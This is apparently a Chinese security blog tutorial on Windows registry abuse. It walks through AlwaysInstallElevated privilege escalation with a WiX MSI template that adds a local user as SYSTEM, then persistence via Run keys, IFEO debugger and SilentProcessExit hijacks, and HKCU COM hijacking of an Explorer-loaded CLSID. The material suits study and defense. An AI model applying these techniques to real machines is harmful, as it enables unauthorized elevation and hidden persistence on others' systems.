windows权限维持与提权(一)-注册表
原创
跃迁
跃迁
跃迁Sec
2026年10月15日 21:59
湖北
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
本章我们来探索一下注册表,注册表不仅可以用来进行权限维持,还能用于权限提升,我们分开讲。
权限提升
对于注册表来说,可能导致权限提升的情况有两点,一个是注册表权限配置错误,导致普通用户可以修改hklm注册表,就比如直接修改服务注册表,第二种是设置了AlwaysInstallElevated。第一种情况我们之前在\"利用服务提权\"里面讲过了,相关情况就是利用reg命令修改注册表重启服务即可,或者遇到其他情况也是修改注册表,不做过多介绍,我们看一下AlwaysInstallElevated。
介绍一下什么是AlwaysInstallElevated,设置了AlwaysInstallElevated意味着永远以高特权进行安装,一句话来说就是当HKLM和HKCU两处注册表的AlwaysInstallElevated全部等于1,普通用户直接运行任意.msi 安装包,会以 NT AUTHORITY\SYSTEM 权限执行,不需要UAC、不需要管理员密码,怎么检测呢,两条命令
reg query \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\" /v AlwaysInstallElevatedreg query \"HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\" /v AlwaysInstallElevated
当返回值都为1时说明开启,注意,一般情况下普通用户是具有读注册表的权限的,只是写权限被限制的比较死。
接下来就是制作恶意msi上传执行即可,或者也可以使用msf自带的利用模块进行提权,这里我使用msf自带的模块进行利用
对于恶意msi的制作,msf也可以制作,或者使用wix制作都可以,最后上传msi使用msiexec执行即可。
使用wix制作msi文件,功能是添加新用户,这里由于主包的靶机出问题了,我们就检验wix生成的msi文件起作用没有
wix需要生成msi文件需要先编写wxs文件,使用candle生成wixobj文件,最后使用light生成msi文件,wxs文件模板如下
<Wix xmlns=\"http://schemas.microsoft.com/wix/2006/wi\"> <Product Id=\"*\" UpgradeCode=\"12345678-1234-1234-1234-111111111111\" Name=\"23e23deeqwddeweqwde\" Version=\"0.0.1\" Manufacturer=\"Test1\" Language=\"1033\"> <Package InstallerVersion=\"200\" Compressed=\"yes\" Comments=\"Windows Installer Package\" /> <Media Id='1' /> <Directory Id=\"TARGETDIR\" Name=\"SourceDir\"> <Directory Id=\"ProgramFilesFolder\"> <Directory Id=\"INSTALLLOCATION\" Name=\"Example\"> <Component Id=\"ApplicationFiles\" Guid=\"12345678-1234-1234-1234-222222222222\" KeyPath=\"yes\"></Component> </Directory> </Directory> </Directory> <Feature Id=\"DefaultFeature\" Level=\"1\"> <ComponentRef Id=\"ApplicationFiles\" /> </Feature>
<CustomAction Id=\"Shell\" Execute=\"deferred\" Directory=\"TARGETDIR\" Impersonate=\"no\" ExeCommand=\"net user root Passw0rd /add\" Return=\"check\" />
<InstallExecuteSequence> <Custom Action=\"Shell\" After=\"InstallFiles\"></Custom> </InstallExecuteSequence> </Product></Wix>
可以看到msi文件起到作用了,在提权环境中,我们可以将当前用户提升至管理员用户。
权限维持
首先就是自启动项,没什么好介绍的,就是往里面加就是了
HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunHKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceHKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
接下来我们介绍IFEO劫持,首先,我们需要明确什么是IFEO,它的诞生是为了什么。IFEO全称Image File Execution Options,映像文件执行选项,注册表位置在\"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\\",前面我们说到了开机自启动,而IFEO是程序启动自启动,什么意思,只有当某个exe启动时计算机才会读取IFEO并触发相关操作,具体我们演示,这里分为启动前启动和关闭后启动,这里以打开计算机为例。还有一点需要明确,ifeo只存在于HKLM里面。
reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\firefox.exe\" /v Debugger/t REG_SZ /d \"C:\\Windows\\System32\\calc.exe\"
首先创建子项,命名为劫持目标的程序名,比如firefox.exe,然后添加key值,Debugger,作用是开发调试用途,当运行目标 exe,自动启动指定调试器(ntsd、windbg),并把目标程序作为参数传给调试器。
火狐浏览器并没有启动。接下来我们说程序关闭时劫持启动。
reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\firefox.exe\" /v GlobalFlag /t REG_DWORD /d 512reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\firefox.exe\" /v ReportingMode /t REG_DWORD /d 1reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\firefox.exe\" /v MonitorProcess /d \"C:\\Windows\\System32\\calc.exe\"
最后我们讲解COM劫持,在此之前,我们需要了解一个东西clsid,clsid是一个128位GUID,用来唯一标记一个com类,至于com,简单来说Windows 很多系统功能(资源管理器、shell、对话框、WMI、Office)都是一个个COM 组件(DLL/EXE)。 程序不需要知道这个功能代码写在哪、什么语言写的,只要请求创建这个 COM 对象,系统就去查注册表,加载对应的 DLL/EXE,提供服务。怎么查呢,就是用的clsid。com在注册表的位置有以下两个,一个是机器级别的,一个是当前用户级别的
HKLM\\SOFTWARE\\Classes\\CLSID\\{CLSID}HKCU\\SOFTWARE\\Classes\\CLSID\\{CLSID}
而在查找com对象时是有先后顺序的,HKCU的优先级要大于HKLM。一般情况下可能会直接选择修改相关值指向恶意dll
还有一种情况就是HKLM里面存在某clsid值而HKCU里面没有,那么根据优先级我们可以在HKCU里面自建一个一样的clsid子项并写入相关数据指向恶意dll即可实现劫持。
当dll别劫持时什么时候会触发呢,只有当某程序调用到相关com才会触发,所以我们可以选择一些常被调用的com,比如{42aedc87-2188-41fd-b9a3-0c966feabec1},该com会被资源浏览器调用,也就是说一打开文件夹就会触发。
本章到此结束。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论